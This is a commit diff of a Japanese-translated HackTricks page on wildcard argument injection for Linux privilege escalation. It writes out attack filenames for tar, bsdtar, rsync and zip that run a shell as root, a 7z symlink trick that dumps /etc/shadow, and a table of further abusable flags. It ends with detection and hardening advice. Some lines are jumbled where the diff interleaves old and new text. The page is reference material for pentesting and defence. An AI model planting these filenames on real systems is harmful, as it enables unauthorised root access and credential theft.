Translated ['src/linux-hardening/privilege-escalation/wildcards-spare-tr

This commit is contained in:
Translator 2025-08-04 14:42:33 +00:00
parent c1b5fed6c9
commit e3bd88cc24

View File

@ -1,60 +1,123 @@
# Wildcards Spare Tricks
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## chown, chmod > ワイルドカード(別名 *glob***引数インジェクション**は、特権スクリプトが `tar``chown``rsync``zip``7z` などのUnixバイナリを、引用符なしのワイルドカード `*` と共に実行する際に発生します。
> シェルはバイナリを実行する**前に**ワイルドカードを展開するため、作業ディレクトリにファイルを作成できる攻撃者は、`-` で始まるファイル名を作成することで、**データではなくオプション**として解釈されるようにし、任意のフラグやコマンドを効果的に密輸することができます。
> このページでは、2023-2025年の最も有用なプリミティブ、最近の研究、現代の検出方法を集めています。
**どのファイルの所有者と権限を残りのファイルにコピーしたいかを指定できます** ## chown / chmod
`--reference` フラグを悪用することで、**任意のファイルの所有者/グループまたはパーミッションビットをコピー**できます:
```bash ```bash
touch "--reference=/my/own/path/filename" # attacker-controlled directory
touch "--reference=/root/secret``file" # ← filename becomes an argument
``` ```
この方法を利用して攻撃できます [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(結合攻撃)_\ ルートが後で次のようなものを実行するとき:
詳細は [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) にあります。
## Tar
**任意のコマンドを実行する:**
```bash ```bash
chown -R alice:alice *.php
chmod -R 644 *.php
```
`--reference=/root/secret``file` が注入され、*すべての* 一致するファイルが `/root/secret``file` の所有権/権限を継承します。
*PoC & tool*: [`wildpwn`](https://github.com/localh0t/wildpwn) (複合攻撃)。
詳細については、古典的な DefenseCode の論文を参照してください。
---
## tar
### GNU tar (Linux, *BSD, busybox-full)
**チェックポイント** 機能を悪用して任意のコマンドを実行します:
```bash
# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1" touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh" touch "--checkpoint-action=exec=sh shell.sh"
``` ```
この方法を利用して攻撃できます [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar攻撃)_\ 一度rootが例えば`tar -czf /root/backup.tgz *`を実行すると、`shell.sh`がrootとして実行されます。
詳細は [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) を参照してください。
## Rsync ### bsdtar / macOS 14+
**任意のコマンドを実行する:** 最近のmacOSのデフォルトの`tar``libarchive`に基づく)は`--checkpoint`を実装していませんが、外部コンプレッサーを指定できる**--use-compress-program**フラグを使用することで、コード実行を達成することができます。
```bash ```bash
Interesting rsync option from manual: # macOS example
touch "--use-compress-program=/bin/sh"
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
``` ```
特権スクリプトが `tar -cf backup.tar *` を実行すると、`/bin/sh` が起動します。
---
## rsync
`rsync` は、`-e` または `--rsync-path` で始まるコマンドラインフラグを介してリモートシェルやリモートバイナリをオーバーライドすることを可能にします:
```bash ```bash
touch "-e sh shell.sh" # attacker-controlled directory
touch "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh
``` ```
この攻撃は、[https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_を使用して悪用できます。\ もしrootが後で`rsync -az * backup:/srv/`でディレクトリをアーカイブすると、注入されたフラグがリモート側でシェルを起動します。
詳細は[https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)を参照してください。
## 7z *PoC*: [`wildpwn`](https://github.com/localh0t/wildpwn) (`rsync`モード)。
**7z**では、`--``*`の前に使用しても(`--`は次の入力がパラメータとして扱われないことを意味しますので、この場合はファイルパスのみです、任意のエラーを引き起こしてファイルを読み取ることができます。したがって、次のようなコマンドがrootによって実行されている場合 ---
## 7-Zip / 7z / 7za
特権スクリプトが*防御的に*ワイルドカードの前に`--`を付けてオプション解析を止めるためにも、7-Zipフォーマットは**ファイルリストファイル**をサポートしており、ファイル名の前に`@`を付けることができます。それをシンボリックリンクと組み合わせることで、*任意のファイルを外部に抽出*できます:
```bash ```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- * # directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow root.txt # file we want to read
touch @root.txt # tells 7z to use root.txt as file list
``` ```
このコマンドが実行されているフォルダーにファイルを作成できるので、`@root.txt`というファイルと、読みたいファイルへの**シンボリックリンク**である`root.txt`というファイルを作成できます: もしrootが次のようなコマンドを実行すると:
```bash ```bash
cd /path/to/7z/acting/folder 7za a /backup/`date +%F`.7z -t7z -snl -- *
touch @root.txt
ln -s /file/you/want/to/read root.txt
``` ```
その後、**7z** が実行されると、`root.txt` を圧縮すべきファイルのリストを含むファイルとして扱います(それが `@root.txt` の存在が示すことですそして、7z が `root.txt` を読み込むと、`/file/you/want/to/read` を読み込み、**このファイルの内容がファイルのリストでないため、エラーをスローします** 内容を表示します 7-Zipは`root.txt`(→ `/etc/shadow`)をファイルリストとして読み取ろうとし、**stderrに内容を出力します**。
_詳細は HackTheBox の CTF ボックスの Write-ups にあります。_ ---
## Zip ## zip
**任意のコマンドを実行する:** `zip`は、アーカイブがテストされるときにシステムシェルに*そのまま*渡されるフラグ`--unzip-command`をサポートしています:
```bash ```bash
zip name.zip files -T --unzip-command "sh -c whoami" zip result.zip files -T --unzip-command "sh -c id"
``` ```
Inject the flag via a crafted filename and wait for the privileged backup script to call `zip -T` (test archive) on the resulting file.
---
## 追加のバイナリ:ワイルドカードインジェクションに脆弱なもの (2023-2025 クイックリスト)
以下のコマンドは、現代のCTFや実際の環境で悪用されています。ペイロードは常に、後でワイルドカードで処理される書き込み可能なディレクトリ内の*ファイル名*として作成されます:
| バイナリ | 悪用するフラグ | 効果 |
| --- | --- | --- |
| `bsdtar` | `--newer-mtime=@<epoch>` → 任意の `@file` | ファイル内容の読み取り |
| `flock` | `-c <cmd>` | コマンドの実行 |
| `git` | `-c core.sshCommand=<cmd>` | SSH経由でのgitによるコマンド実行 |
| `scp` | `-S <cmd>` | sshの代わりに任意のプログラムを起動 |
これらのプリミティブは*tar/rsync/zip*のクラシックよりも一般的ではありませんが、ハンティングの際には確認する価値があります。
---
## 検出とハードニング
1. **重要なスクリプトでシェルグロビングを無効にする**: `set -f` (`set -o noglob`) はワイルドカードの展開を防ぎます。
2. **引数を引用またはエスケープする**: `tar -czf "$dst" -- *` は*安全ではありません* — `find . -type f -print0 | xargs -0 tar -czf "$dst"`を好むべきです。
3. **明示的なパス**: `*`の代わりに`/var/www/html/*.log`を使用して、攻撃者が`-`で始まる兄弟ファイルを作成できないようにします。
4. **最小特権**: 可能な限り、バックアップ/メンテナンスジョブをrootではなく特権のないサービスアカウントとして実行します。
5. **監視**: Elasticの事前構築されたルール*Potential Shell via Wildcard Injection*は、`tar --checkpoint=*``rsync -e*`、または`shell child process`に直後に続く`zip --unzip-command`を探します。EQLクエリは他のEDRに適応できます。
---
## 参考文献
* Elastic Security Potential Shell via Wildcard Injection Detected rule (最終更新 2025)
* Rutger Flohil “macOS — Tar wildcard injection” (2024年12月18日)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}